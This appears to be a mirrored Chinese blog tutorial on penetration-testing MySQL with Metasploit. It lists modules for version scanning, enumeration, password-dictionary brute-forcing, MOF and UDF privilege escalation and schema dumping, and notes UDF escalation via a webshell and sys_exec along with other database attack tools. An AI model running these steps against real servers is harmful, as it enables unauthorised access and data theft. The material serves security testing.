zoukankan      html  css  js  c++  java
  • mysql 案例 ~ mysql安全渗透测试

    一 简介 Metasploit是一款可以从多种角度进行勘测的渗透工具

    二 使用

      1 安装
         curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
      2 使用
         msfconsole 进入终端
      3 特定命令
         1 扫描mysql版本
           use auxiliary/scanner/mysql/mysql_version
         2 获取相关信息(包括数据库数据目录和相关用户等)
           use auxiliary/admin/mysql/mysql_enum
         3 密码字典暴露破解
          use auxiliary/admin/mysql/mysql_sql 
          set pass_file "/root/top10000pwd.txt"
          run
       4 根据用户密码提权
          use exploit/windows/mysql/mysql_mof
          run
       5 udf 提权
          exploit/multi/mysql/mysql_udf_payload
          run
      6 将mysql_schem导出到本地 /root/.msf4/loot/文件夹下
        use auxiliary/scanner/mysql/mysql_schemadump

    三  常用命令 

       1 search mysql 查找mysql相应模块
       2 凡是没有标注的都需要填写用户名等信息
    四 补充
      1 udf提权
         1 UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
         2 需要使用webshell找到mysql的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录,创建类似xCzaUwje.so这样的文件
         3 调用 sys_exec(),需要创建触发器获取插件目录和进入mysql库权限
         4 执行前提
            1.获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。
            2.拥有将udf.dll写入相应目录的权限。
            3 需要mysql 5.7 开启 secure_file_priv 为非NULL,以下是补充
                secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录。
                secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
               secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
               secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
    五  总结
      1 不同权限用户的泄漏会导致不同的信息模块的收集,有些可能会因为权限不足执行失败
       2 对于某些漏洞的扫描大多基于特定版本,比较落后,没有什么参考必要
    六  推荐网站
        https://www.freebuf.com/

    七 补充一些其他数据库的工具   

      1 oracle
        Oscanner tnscmd10g sidguesser
     2  sql-sever
         mdb-sql sqldict sqlninja
    3   sql渗透测试 sqlmap

  • 相关阅读:
    内置系统账户:Local system/Network service/Local Service 区别
    python-基于文件导入的特性的单例模式
    php原因 nginx报错[error] 10773#0: *272212065 recv() failed (104: Connection reset by peer) while reading response header from upstream
    实用Django ORM实用操作方法
    session是什么和cookie的区别?
    Python可迭代对象,迭代器,生成器
    浅析python中的GIL锁和协程
    git 常用
    testlink安装
    redmine搭建
  • 原文地址:https://www.cnblogs.com/danhuangpai/p/10905655.html
Copyright © 2011-2022 走看看